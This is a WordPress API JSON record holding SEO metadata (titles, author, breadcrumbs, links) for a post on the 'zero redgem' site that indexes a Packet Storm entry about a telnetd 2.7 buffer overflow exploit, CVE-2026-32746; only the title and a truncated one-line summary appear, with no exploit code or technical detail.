redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=52563","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:05:18&#8243;,&#8221;description&#8221;:&#8221;telnetd version 2.7 addslc remote buffer overflow exploit that achieves root&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 telnetd 2.7 Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220575&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-32746&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: telnetd 2.7 &#8211; Buffer Overflown # Google Dork:...","og_url":"https:\/\/zero.redgem.net\/?p=52563","og_site_name":"zero redgem","article_published_time":"2026-05-08T13:40:30+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=52563#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=52563"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575","datePublished":"2026-05-08T13:40:30+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=52563"},"wordCount":2588,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=52563#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=52563","url":"https:\/\/zero.redgem.net\/?p=52563","name":"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-08T13:40:30+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=52563#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=52563"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=52563#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/52563","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=52563"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/52563\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=52563"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=52563"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=52563"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}